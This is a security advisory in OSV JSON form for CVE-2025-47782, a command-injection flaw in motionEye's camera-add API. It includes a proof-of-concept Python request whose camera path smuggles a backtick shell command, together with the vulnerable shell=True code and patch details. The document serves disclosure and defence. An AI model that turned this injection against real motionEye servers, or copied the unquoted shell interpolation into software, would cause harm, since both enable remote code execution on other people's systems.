CVE-2025-47782: Motioneye Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g5mq-prx7-c588",
  "modified" : "2025-05-15T16:10:48Z",
  "published" : "2025-05-15T16:10:48Z",
  "aliases" : [ "CVE-2025-47782" ],
  "summary" : "motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution",
  "details" : "### Summary\nUsing a constructed (camera) device path with the `config/add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, `motion` by default.\n\n#### function call stack\n1. `post`\n2. `add_camera`\n3. `config.add_camera`\n4. `v4l2ctl.list_resolutions`\n5. `utils.call_subprocess`\n6. `subprocess.run`\n\n### PoC\n#### build\n```sh\nRUN_USER=\"user\"\nRUN_UID=$(id -u ${RUN_USER})\nRUN_GID=$(id -g ${RUN_USER})\nTIMESTAMP=\"$(date '+%Y%m%d-%H%M')\"\n\ndocker build \\\n  --network host \\\n  --build-arg=\"RUN_UID=${RUN_UID?}\" \\\n  --build-arg=\"RUN_GID=${RUN_GID?}\" \\\n  -t \"${USER?}/motioneye:${TIMESTAMP}\" \\\n  --no-cache \\\n  -f docker/Dockerfile .\n```\n\n#### reproduce\nRun:\n```sh\ndocker run --rm  -d   -p 8765:8765   --hostname=\"motioneye\"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye\n```\n```console\nbash-4.2$ docker logs ceb435eacf55 -f\nconfigure_logging cmd motioneye: False\nconfigure logging to file: None\n    INFO: hello! this is motionEye server 0.43.1b3\n   DEBUG: found motion executable \"/usr/bin/motion\" version \"4.7.0\"\n   DEBUG: found ffmpeg executable \"/usr/bin/ffmpeg\" version \"7.1.1-1+b1\"\n   DEBUG: listing config dir /etc/motioneye...\n   DEBUG: found camera with id 1\n   DEBUG: reading camera config from /etc/motioneye/camera-1.conf...\n   DEBUG: loading additional config structure for camera, without separators\n   DEBUG: Using selector: EpollSelector\n   DEBUG: searching motion executable\n   DEBUG: starting motion executable \"/usr/bin/motion\" version \"4.7.0\"\n    INFO: cleanup started\n    INFO: wsswitch started\n    INFO: tasks started\n    INFO: mjpg customer garbage collector has started\n    INFO: server started\n```\nNow, run the following script to attack motionEye:\n```python\nimport requests\nimport json\n\nurl = \"http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18\"\n\npayload = json.dumps({\n  \"proto\": \"v4l2\",\n  \"path\": \"' `touch /tmp/bbbb` '\"\n})\nheaders = {\n  'Content-Type': 'application/json'\n}\n\nresponse = requests.request(\"POST\", url, headers=headers, data=payload)\n\nprint(response.text)\n```\n\n<img width=\"1187\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8e0a9bfe-8de3-4023-96d6-0e888bfe3c62\" />\n\n<img width=\"324\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/04c73349-694a-4531-993e-eea765b87d0e\" />\n\n#### Discussion\nIt is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability\n```python\ndef list_resolutions(device):\n    from motioneye import motionctl\n\n    device = utils.make_str(device)\n\n    if device in _resolutions_cache:\n        return _resolutions_cache[device]\n\n    logging.debug(f'listing resolutions of device {device}...')\n\n    resolutions = set()\n    output = b''\n    started = time.time()\n    cmd = f\"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true\"\n    logging.debug(f'running command \"{cmd}\"')\n\n    try:\n        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)\n    except:\n        logging.error(f'failed to list resolutions of device \"{device}\"')\n\n    output = utils.make_str(output)\n\ndef call_subprocess(\n    args,\n    stdin=None,\n    input=None,\n    stdout=subprocess.PIPE,\n    stderr=DEV_NULL,\n    capture_output=False,\n    shell=False,\n    cwd=None,\n    timeout=None,\n    check=True,\n    encoding='utf-8',\n    errors=None,\n    text=None,\n    env=None,\n) -> str:\n    \"\"\"subprocess.run wrapper to return output as a decoded string\"\"\"\n    return subprocess.run(\n        args,\n        stdin=stdin,\n        input=input,\n        stdout=stdout,\n        stderr=stderr,\n        capture_output=capture_output,\n        shell=shell,\n        cwd=cwd,\n        timeout=timeout,\n        check=check,\n        encoding=encoding,\n        errors=errors,\n        text=text,\n        env=env,\n    ).stdout.strip()\n```\n\n### Impact\nRCE\n\n### Patches\nThe vulnerability has been patch with motionEye v0.43.1b4: https://github.com/motioneye-project/motioneye/pull/3143\n\n### Workarounds\nApplying the following patch, replacing the literal single quotes in the created `cmd` string with a `shlex.quote`d input device: https://patch-diff.githubusercontent.com/raw/motioneye-project/motioneye/pull/3143.patch\n\n### References\nhttps://github.com/motioneye-project/motioneye/issues/3142\n\n### Credit\nThe vulnerability was discovered by Tencent YunDing Security Lab.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "motioneye"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.43.1b1"
      }, {
        "fixed" : "0.43.1b4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g5mq-prx7-c588"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47782"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/issues/3142"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/pull/3143"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/motioneye-project/motioneye"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/motioneye/PYSEC-2025-39.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-15T16:10:48Z",
    "nvd_published_at" : "2025-05-14T16:15:29Z"
  }
}